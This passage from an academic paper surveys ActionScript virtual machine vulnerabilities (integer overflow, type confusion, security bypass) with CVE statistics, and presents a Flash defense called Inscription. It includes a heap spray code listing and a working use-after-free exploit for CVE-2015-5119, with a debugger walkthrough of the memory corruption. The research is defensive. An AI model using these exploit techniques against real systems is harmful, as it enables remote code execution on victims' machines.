object instead of a ByteArray object.

4. Less Commonly Exploited Vulnerability
Classes & Example Vulnerabilities
In this section, we discuss the other, less commonly ex-

ploited vulnerability classes mentioned in the CVE and NVD
collections, but not included in our generic, comprehensive
security solution, which mitigates “Memory Corruption” vul-
nerability sub-classes introduced in §3.
4.1. Integer Overflow (or Underflow)

Integer overflow occurs when an arithmetic operation
attempts to create and allocate an integer, which requires a
larger space to be allocated in the main memory than the op-
erating system provides for it. The value is either higher than
the maximum value or lower than the minimum value that can
be represented. In 32-bit operating systems, the highest and
the lowest numeric values that fit 32-bit buffers are 232 − 1,
which equals to 4,294,967,295, and −231, which equals to

Listing 9: An example for heap spray attack
1 var s h e l l c o d e : St r ing =
2 unescape ( '%u4548%u5041%u5053%u4152 ' ) ;
3 var nop : St r ing=unescape ( '%u0202%u0202 ' ) ;
4 var space : u in t = s h e l l c o d e . l e n g t h + 20 ;
5 whi le ( nop . l e n g t h < space )
6 nop+= nop ;
7 var f i l l : St r ing = nop . s u b s t r ( 0 , s pace ) ;
8 var b lock = nop . s u b s t r ( 0 , nop . l e ng t h −20) ;
9 whi le ( b l ock . l e n g t h + space < 0x50000 )
10 b lock = b lock + b lock + f i l l ;
11 var s : ByteArray = new ByteArray ( ) ;
12 f o r ( var i : u in t = 0 ; i < 250 ; i ++)
13 s . wr i teUTFBytes ( b l ock + s h e l l c o d e ) ;

-2,147,483,648, respectively. The operating systems utilize
two dedicated processor flags to check for overflow condi-
tions. The first is the carry flag, which is set when the result
of an addition or subtraction, considering the operands and
result as unsigned numbers, does not fit in the given number
of bits. This indicates an overflow with a carry or a borrow
from the most significant bit. An immediately following add

with a carry or a subtract with borrow operation uses the
contents of this flag to modify a register or a memory lo-
cation that contains the higher part of a multi-word value.
The second is the overflow flag, which is set when the result
of an operation on signed numbers does not have the sign
that one would predict from the signs of the operands (e.g.,
a negative result when adding two positive numbers). This
indicates that an overflow has occurred, and the signed result
represented in two’s complement form would not fit in the
given number of bits. Languages in which VMs are imple-
mented (e.g., C/C++) typically have semantics that either
implement modular arithmetic or ascribe “undefined behav-
ior” to overflows, leading the compiled VM code to ignore
overflows. VM developers sometimes overlook this, writing
code that stores unexpected or erroneous values as a result
of overflows (Shmatikov, 2009).

Integer overflows cannot generally be detected after the
carry and overflow flags have been changed by subsequent
operations, so there is no way for an application to tell if a
result it has calculated previously is correct. This can get
dangerous if the calculation has to do with the size of a buffer
or how far into an array to index. Many integer overflows are
not directly exploitable because memory is not being directly
overwritten, but sometimes they can lead to other classes
of bugs—frequently buffer overflows. Integer overflows can
also be difficult to spot, so even well-audited code can be
vulnerable (Shmatikov, 2009).
Example AVM Integer Overflow Vulnerability After an
’shl’ is Performed. CVE-2016-1010 is an ActionScript
zero-day vulnerability, which is an integer overflow (Li, 2016).
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The vulnerability occurs when the AVM calculates the size
of the buffer, which is necessary to hold data of BitmapData
instances. BitmapData class provides functions and attributes
to allow developers to work with the pixels of a Bitmap in-
stance (Adobe, Inc., 2020b), and the Bitmap class represents
display objects that are .bmp images (Adobe, Inc., 2020a).
BitmapData class has a public function, copyPixels, which pro-
vides a fast routine to perform pixel manipulation between
images with no stretching, rotation, or color effects, defined
as the following:
pub l i c func t i on c o pyP i x e l s ( sou r ceB i tmapDa ta :
BitmapData , s o u r c eRe c t : Rec t ang l e , d e s t P o i n t : Po in t ,
a l phaBi tmapDa ta : Bi tmapData = nul l ,
a l p h a P o i n t : P o i n t = nul l ,
mergeAlpha : Boolean = f a l s e ) : void

To calculate the size of the sourceRect, which is a Rectangle

instance, the AVM performs an ’shl’ operation, which mul-
tiplies the given value by 2. Fig 15 displays the Assembly
code of the vulnerable copyPixels function. The ’shl’ oper-
ation left shifts the ecx register twice, which multiples the
value of the width of the sourceRect by 4. If the width of the
sourceRect is bigger than 0x40000000, the ’shl’ operation
overflows the integer value. If the width is overflowed, the
allocated memory will be lower than needed. An attacker can
exploit this overflow to read and write to arbitrary memory
locations, effectively leading to arbitrary code execution.
4.2. Heap Overflow

A heap overflow is a form of buffer overflow; it happens
when a chunk of memory is allocated to the heap, and data
is written to this memory without any bound checking being
done on the data. Even though attack parameters that exploit
a heap overflow vulnerability are different from ones in stack
overflow exploits, the security solutions are quite similar as
they are a form of buffer overflow vulnerabilities (please see
§3.5).

Figure 15: Assembly code of the vulnerable copyPixels func-
tion (Li, 2016)

4.3. Type Confusion
Type confusion vulnerabilities occur when the program

allocates or initializes a resource such as a pointer, object,
or variable using one type, but it later accesses that resource
using a type that is incompatible with the original type. This
could trigger logical errors because the resource does not have
expected properties. In languages without memory safety,
such as C and C++, type confusion can lead to out-of-bounds
memory access (MITRE, Inc., 2020o).
Example AVM Type Confusion Vulnerability After a
Function is Overridden with a Value CVE-2015-7645
is a type confusion vulnerability happens because the AVM
does not guarantee that the type of binding is a method bind-
ing (MITRE, Inc., 2015e). The vulnerability resides in the im-
plementation of theAVMserializer interface, IExternalizable,
which provides control over serialization of a class as it is
encoded into a data stream (MITRE, Inc., 2020p). Type
confusion occurs when calling the function writeExternal,
which is implemented when a class extends IExternalizable
interface. The function is resolved in AvmSerializer with the
following:
AvmCore* core = toplevel ->core ();

Multiname mn(core ->getPublicNamespace(t->pool),

core ->internConstantStringLatin1(kWriteExternal ));

m_functionBinding=toplevel ->getBinding(t, &mn);

The call, toplevel->getBinding, which does not guarantee
that the binding is a function binding. Then, the AVM casts
the function to a function type without checking the type
of it, which is type confusion (Silvanovich, 2015), with the
following:
MethodEnv* method = obj ->vtable ->methods

[AvmCore :: bindingToMethodId

(info ->get_functionBinding ())];

4.4. Security Bypass
Security bypass (MITRE, Inc., 2020j) vulnerabilities may

occur in the implementation of any security defense mech-
anism, such Address Space Layout Randomization (ASLR),
which introduces artificial diversity by randomizing the mem-
ory location of certain system components to fortify systems
against buffer overflow attacks (Shacham et al., 2004).
Example AVM Security Bypass Vulnerability that Dis-
ables AVM’s Vector Length Validation Due to numerous
instances of the length property of Vector instances being
corrupted by AVM exploits, the AVM implements a miti-
gation technique for Vector corruptions, called Vector.<*>

length validation. The mitigation uses a secret cookie to XOR

into a copy of the length properties of Vector instances. The
result of XOR should not be guessable by the attacker, and
it is checked whenever the length property is used. In case
a corruption happens, the result of XOR would be different
than stored value, which indicates that the length property is
corrupted. Therefore, length corruptions are trapped reliably
at runtime (Brand and Evans, 2015).
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CVE-2015-5125 is a security bypass vulnerability tar-
geted by exploits to bypass the Vector.<*> length valida-
tion (MITRE, Inc., 2015d). The vulnerability is an example
of a porous defense implementation since an exploit can dis-
close the address of the secret cookie by fetching the pointer
in the Vector metadata. Discovering the pointer of the secret
cookie is the first step in bypassing the Vector.<*> length
validation. After discovering the pointer of the secret cookie,
the exploit focuses on corrupting the length property of the
Vector instance. With the same buffer overflow that is used
to corrupt the length property of the Vector instance, it is pos-
sible to corrupt these values at the same time: (1) the length

property of the Vector instance, (2) the XOR’ed value of the
length of the Vector instance with the secret cookie, and (3)
the pointer fromwhich the secret cookie is fetched. An exploit
that corrupts all of these fields can perform heap-spraying
or out-of-bounds access without any further effort (Evans,
2015).

5. 2013–20202 ActionScript Vulnerability
Statistics: Number, Type and Attack Vector
In this section we provide the most recent statistics of the

number, type, and attack vector of ActionScript vulnerabil-
ities listed in CVE and NVD databases to report the state-
of-the-art. The data we provide in this section are not imme-
diately available in CVE and NVD database, therefore, we
build our graphs by manually counting AVM vulnerabilities.

Fig. 16 displays the number of ActionScript vulnerabili-
ties between 2013 and 20201 in the CVE and NVD databases.
The number of discovered vulnerabilities in 2015 increased
∼340%. Although the number of ActionScript vulnerabilities
reported per year is declining, vulnerabilities from prior years
continue to be aggressively exploited by attackers due to the
prevalence of older, unpatched AVMs across the web, and
four new zero-days have emerged since 2018.

2Until April 1st, 2020

Figure 16: Number of ActionScript vulnerabilities per year in
CVE and NVD databases between 2013 and 2020.

Fig. 17 presents the number and types of ActionScript
vulnerabilities that have been discovered since 2013, based on
raw vulnerability descriptions in the CVE andNVDdatabases.

Unfortunately, the raw descriptions are not coherent and
detailed enough for systematic vulnerability classification.
For example, according to these vulnerability databases, UAF
vulnerabilities are the most popular, with 251 (∼33%) vul-
nerabilities. “Memory Corruption” vulnerabilities are the
second most common, with 225 (∼29%) entries. However,
although UAF, DF, and overflows (e.g., integer, buffer, heap,
stack) are typically considered “Memory Corruption” in the
field, the databases do not specify the type of “Memory Cor-
ruption” posed by the vulnerabilities, which hinders perform-
ing an accurate vulnerability classification. In addition, a big
portion of ActionScript vulnerabilities is labeled as "Unspeci-
fied vulnerability with unknown attack vector and impact," in
the databases. The number of “Unspecified” vulnerabilities
is 138 (∼18%), which comprises the third biggest vulnera-
bility group. DF and buffer overflow vulnerabilities, which
constitute two of our five sub-classes, are slightly over 1% of
total ActionScript vulnerabilities that have been discovered
since 2013. In fact, DF vulnerabilities are special cases of
UAF vulnerabilities in which the freed memory is immedi-
ately freed once more to distort the structure of the garbage
collector. One of our “Memory Corruption” sub-classes is
“out-of-bounds access”, and 20 (∼3%) of the vulnerabilities
provide an out-of-bounds access for exploits. The other types
of vulnerabilities mentioned in the CVE and NVD collections
are “type confusion” with 47 entries (∼6%), “heap overflow”
with 14 entries (∼2%), and “security bypass” with 24 entries
(∼3%).

Fig. 18 presents the number of types of attacks in the
CVE and NVD collections that can be performed after ex-
ploiting ActionScript vulnerabilities. The chart demonstrates
that more than 75% (601/761) of ActionScript vulnerabilities
can lead to an arbitrary code execution, which is one of the
most dangerous types of attacks. In this attack, an exploit
can transfer the program-flow to any arbitrary code segment
(remote or in victim machine) to be performed in victim ma-
chines. Exploit kits typically aim to perform arbitrary code
execution in victim machines and exploit ActionScript vul-
nerabilities due to the connectivity provided by the nature
of the web. Therefore, ActionScript was the primary vehi-
cle for web-based ransomware and banking trojans in 2016.
In addition, ActionScript accounted for ∼80% of successful
Nuclear exploits (CISCO, 2016) and six of the top ten ex-
ploit kit vulnerabilities (Recorded Future, 2016) in the same
year. Furthermore, more than 90% of malicious web pages
exploited ActionScript, making ActionScript the #1 attack
medium for malicious pages in 2016 (Microsoft, 2016).

Denial-of-service (DoS) attacks are the next most com-
mon type of attacks that can be performed after triggering
ActionScript vulnerabilities. DoS attacks occur when legiti-
mate users are unable to access information systems, devices,
or other network resources due to the actions of a malicious
cyber threat actor (CyberSecurity and Infrastructure Security
Agency, 2009). According to the CVE and NVD collections,
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Figure 17: Types of ActionScript vulnerabilities as shown in the CVE and NVD collections between 2013 and 2020.

more than 26% (202/775) of ActionScript vulnerabilities can
be exploited to perform a DoS attack. The other types of at-
tacks that exploit ActionScript vulnerabilities are “bypassing
security mechanisms” with 72 entries (∼9%), “information
disclosure” with 41 entries (∼5%), and “privilege escalation”
with five entries (less than 1%). In addition, there are 72

Figure 18: Types of exploits that ActionScript vulnerabilities
can lead to.

vulnerabilities (∼9%) whose attack vectors are not specified.

6. Re-classifying “Memory Corruption” and
“Unspecified” Vulnerabilities
As described before, the CVE and NVD databases often

do not provide vulnerability impact, classification, or other
important technical details, which are crucial to building
robust security defenses for web-based VMs.

For example, Fig. 19 shows some CVE entries for an “Un-
specified” type of vulnerabilities whose impacts and attack
vectors are unknown. The NVD provides more technical in-
formation than the CVE provides, including the severity score
of vulnerabilities, known affected software configurations,
and references to advisories, solutions, and tools. However,
the additional information does not present the underlying
reasons for these vulnerabilities, such as the location of faulty
code segments, the way of triggering a vulnerability, or an
execution path (also known as the PoC), which triggers the
vulnerability in the target application. Fig. 20 displays an
NVD entry for one of the vulnerabilities, which is listed as
unspecific vulnerability, and its impact and attack vector are
unknown in Fig. 19.

In this section, we first discuss our methodology for re-
classifying “Memory Corruption” and “Unspecified” vul-
nerabilities. Second, we walk the reader through how we
analyze the execution of the PoC for an example vulnerabil-
ity, CVE-2015-5119, which is our target vulnerability that
we discuss in §3.2. We share our results for reclassifying
“Memory Corruption” and “Unspecified” vulnerabilities by
using our methodology introduced in §6.1 to provide a more
fine-grained vulnerability classification for researchers.
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Figure 19: CVE entries for “Unspecified” type of vulnerabilities whose impacts and attack
vectors are unknown (MITRE, Inc., 2016).

6.1. Our Methodology for Vulnerability
Reclassification

Since, the CVE and NVD databases do not provide vital
technical details, which can be helpful to analyze “Mem-
ory Corruption” and “Unspecified” web-based VM vulner-
abilities, we manually crawl the web to find more informa-
tion about each of those vulnerabilities. We read security
articles, tech reports, detailed analyses of vulnerabilities,
and cybersecurity forums published by famous cybersecu-
rity companies such as Kaspersky (Garnaeva et al., 2016),
Trend Micro (TrendMicro Research, 2015), Microsoft Cy-

Figure 20: An NVD entry for the vulnerability, CVE-2016-4155,
which is listed as unspecific vulnerability and its impact and
attack vector is unknown (NIST, 2016).

Figure 21: The AVM calls to handle Line 7 in Listing 10

bersecurity (Microsoft, 2016), Symantec (Symantec, 2015),
McAfee (McAfee, 2016), Recorded Future (Recorded Future,
2016), Cisco Duo Security (CISCO, 2016; Pham, 2016), or
paloalto Networks (paloalto Networks, 2015). In addition,
we scour exploit databases (e.g., exploit-db.com (Exploit
Database, 2020), Rapid7 (Rapid7, 2020), circl (Computer
Incident Response Center Luxembourg, 2020), SecurityFo-
cus (Security Focus, 2020)) to obtain PoCs of vulnerabilities.
By analyzing the execution PoCs and with this new informa-
tion we aim (1) to understand the way vulnerabilities from
one vulnerability sub-classes are exploited, and (2) to reclas-
sify “Memory Corruption” and “Unspecified” vulnerabilities
in order to have more useful vulnerability classification.
6.2. Analyzing the Execution of a Vulnerability’s

PoC
We used the exploit that triggers our target vulnerability

residing in the implementation of the AVM, provided by a
cybersecurity company, Rapid7 (Rapid7, 2020), which per-
forms a return-oriented programming (ROP) attack (Shacham,
2007). In an ROP attack, an attacker hijacks program control-
flow by gaining control of the call stack and then executes
carefully chosen machine instruction sequences that are al-
ready present in themachine’smemory, called gadgets (Buchanan
et al., 2008). Each gadget typically ends with a return in-
struction that allows the attacker to craft an instruction chain
that performs arbitrary operations.

Listing 10 demonstrates the exploit code that exploits our

Figure 22: The memory address of m_buffer
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Listing 10: The attack that exploits CVE-2015-5119
1 pub l i c c l a s s malC la s s ex tends Spr i t e {
2 var s t a t i c _ c o r r u p t e d ;
3 pub l i c func t i on malC la s s ( ) {
4 var b1 = new ByteArray ( ) ;
5 b1 . l e n g t h = 0x200 ;
6 var mal = new hC l a s s ( b1 ) ;
7 b1 [ 3 ] = mal ;
8 f o r ( var i = 0 ; i <hC l a s s . _va . l e n g t h ; i ++){
9 i f ( hC l a s s . _va [ i ] . l e n g t h > 0 x3f0 )
10 _ c o r r u p t e d = hC l a s s . _va [ i ] ;
11 }
12 }
13 }
14 pub l i c c l a s s hC l a s s {
15 pr i v a t e var b2 = 0 ;
16 pub l i c s t a t i c var _va ;
17 pub l i c func t i on hC l a s s ( var b3 ) {
18 b2 = b3 ;
19 }
20 pub l i c func t i on va lueOf ( ) {
21 _va = new Array ( 1 0 ) ;
22 b2 . l e n g t h = 0x400 ;
23 f o r ( var i = 0 ; i <_va . l e n g t h ; i ++){
24 _va [ i ] = new Vector .< uint >(0 x3f0 ) ;
25 }
26 re turn 0x40 ;
27 }
28 }

target vulnerability. The exploit attacks the vulnerability is
also introduced in §3.2. The exploit creates a dangling pointer
after triggering the vulnerability in Line 7. The valueOf func-
tion between Line 20-27 creates ten Vector instances in se-
quence to ensure that one of them is allocated the memory
pointed by the dangling pointer between Line 23-25. These
Vector instances are also stored in an Array instance, _va, so
that the exploit can access them after the valueOf function
returns. The dangling pointer points the first four bytes of
the Vector instance in the memory. Since the first four byte
corresponds to the length property, the exploit aims to cor-
rupt it implicitly to obtain access right on the entire memory.
Line 7 writes the return value of the valueOf function, 0x40
(Line 26), to the most significant byte of the length property
with the index 3 of ByteArray b1 as the many computer archi-
tectures adopt little-endian format. Thus, the new value of
the length property becomes 0x400003f0. Since the exploit
does not call the length property explicitly to change it, the
AVM does not allocate large enough memory to the corrupted
Vector instance. However, when the exploit wants to access
a memory address which lies beyond the original boundaries
of the Vector instance, the AVM ensures the index used to
access the memory address is smaller than the value of the
length property. Therefore, the exploit can access any arbi-
trary memory segment using the corrupted Vector instance
since the corrupted value of the length property, 0x400003f0,
provides large enough memory for performing any intended
behavior of the exploit.

Fig. 21 displays that the AVM calls the ByteArrayObject::
setUIntProperty function during the execution of the exploit
given in Listing 10 in the gdb (GNU, 2019) environment. The
function is responsible for assigning values to ByteArray in-

dices. Line 7 in Listing 10 invokes the function. We set a
breakpoint at the beginning of the this function so that we
can analyze memory cells individually before and after trig-
gering the vulnerability. The function takes three parameters:
(1) this, which refers to the b1, (2) i, which refers to the
index of the b1 where the value will be assigned, and (3)
value, which is the memory address of the instance mal, rep-
resented in decimal notation. We assign indices 0, 1, and
2 of the b1 with 0xae, which is a dummy value, so that we
can search for the value of 0x00aeaeae to decide the mem-
ory address of the m_buffer, which points to an object of the
ByteArray::Buffer class, which eventually leads to the actual
array of bytes (paloalto Networks, 2015). We use the ad-
dress b1 as the base address of the find function provided
by the gdb. Fig. 22 displays that gdb discloses the memory
address of the m_buffer as 0xb7b13000. After the attack trig-
gers the vulnerability, we look at the same memory cell to
check side-effect of the vulnerable valueOf function. Fig. 23a
shows the value of the m_buffer as 0x00aeaeae, which is the
expected value since indices 0, 1, and 2 of the b1 are assigned
as 0xae. Fig. 23b displays the same memory address after the
vulnerability is triggered. Although Line 24 in Listing 10
creates a Vector instance with a length of 0x3f0, the value of
the length property of the Vector instance is corrupted and
becomes 0x400003f0.

The outcome of our analysis for the example vulnerability
is that the UAF vulnerabilities can create a dangling pointer
pointing the memory address of previously allocated and
deallocated Bytearray instance. The pointer, then, can be
used to corrupt subsequently allocated Vector instance to gain
access to any arbitrary memory. This information enables
us to concentrate on the allocation/deallocation of objects
during the run-time to mitigate UAF vulnerabilities (please
see §2 for the details of our security solution).
6.3. Reclassification Results

We use the same methodology that we introduce in the
previous subsection to reclassify ActionScript vulnerabilities
labeled as “Memory Corruption” and “Unspecified” in the
CVE and NVD databases. To demonstrate, assume that we
wish to reclassify our target vulnerability. Since the PoC first
creates a dangling pointer by freeing a ByteArray instance,

(a) The memory allocation of m_buffer before triggering the vul-
nerability

(b) The memory allocation of m_buffer after triggering the vulnera-
bility

Figure 23: Side-effects of the vulnerable valueOf function
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and then makes use of the dangling pointer to corrupt the
memory pointed by the dangling pointer, we identify the type
of this vulnerability as a UAF.

As mentioned before, the “Memory Corruption” and
“Unspecified” CVE classes are not very useful for build-
ing vulnerability-class-based defenses. The CVE and NVD
databases classify UAF, DF, buffer overflow, heap overflow,
and integer overflow vulnerabilities as different from “Mem-
ory Corruption” vulnerabilities despite the fact that a “Mem-
ory Corruption” vulnerability belongs to one of these vulnera-
bility sub-classes. Also, a significant number of ActionScript
vulnerabilities with “Unspecified” type and unknown attack
vector were listed in the CVE and NVD databases. More
specifically, the CVE and NVD databases do not provide
types for 138 ActionScript vulnerabilities, which is more
than 18% of the disclosed ActionScript vulnerabilities since
2013. Therefore, we examine ActionScript vulnerabilities
labeled as “Memory Corruption” and “Unspecified” in the
CVE and NVD databases to decide their actual types. This
enables us to understand the main reasons for “Memory Cor-
ruption” vulnerabilities and to identify the attack surface of
the AVM better.

Fig. 24 demonstrates the number of ActionScript vulner-
abilities after we reclassify “Memory Corruption” and “Un-
specified” ActionScript vulnerabilities. Reclassified “Mem-
ory Corruption” vulnerabilities constitute 69% of all Action-
Script vulnerabilities, with 535 out of 775 vulnerabilities.
Also, we decide the sub-class of 33 “Memory Corruption”
vulnerabilities. In addition, we determine the type of 84 out
of 138 “Unspecified” ActionScript vulnerabilities. Therefore,
the percentage of “Unspecified” ActionScript vulnerabilities
drops to 7% from 18%. By leveraging our reclassification
of ActionScript vulnerabilities labeled as “Memory Corrup-
tion” and “Unspecified” by the CVE and NVD databases,
we present and evaluate our security solution, Inscription,
which provides vulnerability- or vulnerability-class-specific
mitigation for ActionScript vulnerabilities. Inscription is the
first Flash defense that automatically transforms and secures
untrusted ActionScript binaries in-flight against major AVM
exploits without requiring any updates or patches of VMs or
web browsers.

7. Related Work
In-lined Reference Monitoring for ActionScript Byte-
code Prior work has established theoretical foundations for
secure in-lined reference monitoring of type-safe bytecode
languages like Flash/ActionScript (Sridhar andHamlen, 2010;
Sridhar et al., 2014). These works propose certification algo-
rithms for proving soundness (instrumented code satisfies a
given security policy) and transparency (instrumentation pro-
cess does not alter the behavior of safe programs) properties
of IRMs. Inscription adopts an IRM approach to protect un-
patched AVMs from real-world exploits. Future work should
therefore consider applying machine-certification based on
these prior works to achieve formal guarantees for the policies
enforced by Inscription.

FlashJaX (Phung et al., 2015) is an IRM solution for cross-

platform web content spanning ActionScript and JavaScript.
It primarily targets attacks that abuse inconsistencies between
the security models of the two languages (e.g., differences be-
tween the same-origin policies enforced by the ActionScript
and JavaScript VMs). In contrast, Inscription targets direct
exploits of legacy AVMs, which are currently the highest-
impact targets of in-the-wild web exploit kits.

FIRM (Zhou Li and XiaoFeng Wang, 2010) presents an
IRM approach for mediating the interaction between Action-
Script and the DOM using capability tokens. Each SWF
is assigned a unique capability token, which is associated
with a set of policies to be enforced on the SWF. FIRM
instruments the SWF with wrappers that guard functions
that interact with DOM objects; additionally, FIRM wraps
certain security-sensitive DOM objects’ getters and setters.
The SWF wrappers work in sync with the DOM wrappers to
allow or deny function calls based on the capability tokens.
Inscription targets vulnerabilities arising out of security flaws
inside the AVM, which FIRM cannot enforce.
Mitigations for Specific ActionScript Security Issues

The extended same-origin policy (eSOP) (Johns et al.,
2013) mitigates ActionScript-based DNS rebinding attacks
by adding a server-origin component to the browser’s same-
origin policy. The server-origin is explicit information pro-
vided by the server concerning its trust boundaries; any mis-
match between domain and server-origin stops the attack.

Copious benign usage of URL redirection in ActionScript
ads misleads security tools to produce false negatives for truly
malicious URL redirects in ActionScript plug-ins. Related
work monitors plug-ins instead of SWFs to reduce this false-
negative rate (Thomas et al., 2011). Spiders also identify
malicious Flash URL redirects (Levchenko et al., 2011).

HadROP (Pfaff et al., 2015) utilizes machine learning to
mitigate (ActionScript) ROP attacks. Differences in micro-
architectural events between conventional and malicious pro-
grams are used for detection. In another related work, static
and dynamic analyses are used to extract features of a SWF
for feeding into a deep learning (Schmidhuber, 2015) tool for
anomaly-based ActionScript malware detection (Jung et al.,
2015).

GORDON (Wressnegger et al., 2015) uses structural
and control-flow analyses of SWFs and machine-learning
to detect the presence of malware. However, GORDON has
been implemented on AVM’s open source implementations,
Gnash (Gnash, 2016), and LightSpark (Developers, 2016).
FlashDetect (Overveldt et al., 2012) extends OdoSwiff (Ford
et al., 2009) to ActionScript 3.0. It dynamically analyzes
SWF files using an instrumented version of Lightspark (De-
velopers, 2016) Flash player to save traces of security-relevant
events. It then performs static analysis on AS3 bytecode to
identify common vulnerabilities and exploitation techniques.
ActionScript Vulnerability Surveys. Sridhar et al. (Srid-
har et al., 2017) provides a systematic study of ActionScript
security threats and trends, including taxonomy of Action-
Script vulnerability classes, and analyses of over 700 CVE
entries listed between 2008–2016 to encourage future re-
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Figure 24: Types of ActionScript Vulnerabilities After We Reclassify “Memory Corruption”
Vulnerabilities

search.

8. Conclusion
Inscription is a new defense strategy that can protect

against major Flash vulnerability categories without requiring
the ability to directly patch vulnerable VMs and browsers. It
is the first bytecode transformation approach that assumes that
the underlying VM might not be fully trustworthy; the trans-
formed applications effectively self-detect and self-mitigate
potential exploits of vulnerable VMs on the target systems
that receive them. Experimental evaluation shows that the
technique is effective for protecting against many important
forms of remote code execution attacks prevalent in malicious
web scripts.

We also extend preliminary work on identifying and se-
curing sub-classes of “Memory Corruption” vulnerability
classes to a more comprehensive corpus of ActionScript vul-
nerabilities disclosed between 2013 and April 1st, 2020, and
we reclassify loosely-classified vulnerabilities in that set. Our
web-based VM vulnerability reclassification is more com-
prehensive and accurate than the CVE and NVD databases
provide. To achieve this, we first present technical details that
are not included in the CVE and NVD databases about each
of vulnerability class by introducing example vulnerabilities.
Second, we reclassify ActionScript vulnerabilities labeled
as the generic “Memory Corruption” and “Unspecified” vul-
nerabilities by the CVE and NVD databases to determine
their sub-type as one of our more fine-grained, sub-classes
of “Memory Corruption” vulnerabilities. We reclassify 60
such “Memory Corruption” and such “Unspecified” vulnera-
bilities by analyzing the execution of PoC exploits provided
by exploit databases and vulnerability mitigation projects’

collections.
In future work, we hope that our contributions will moti-

vate and facilitate improved vulnerability classification strate-
gies for large databases such as CVE and NVD. To motivate
such change, our work showcases both the feasibility and the
practical value of higher precision sub-classification for these
high-impact vulnerability categories.
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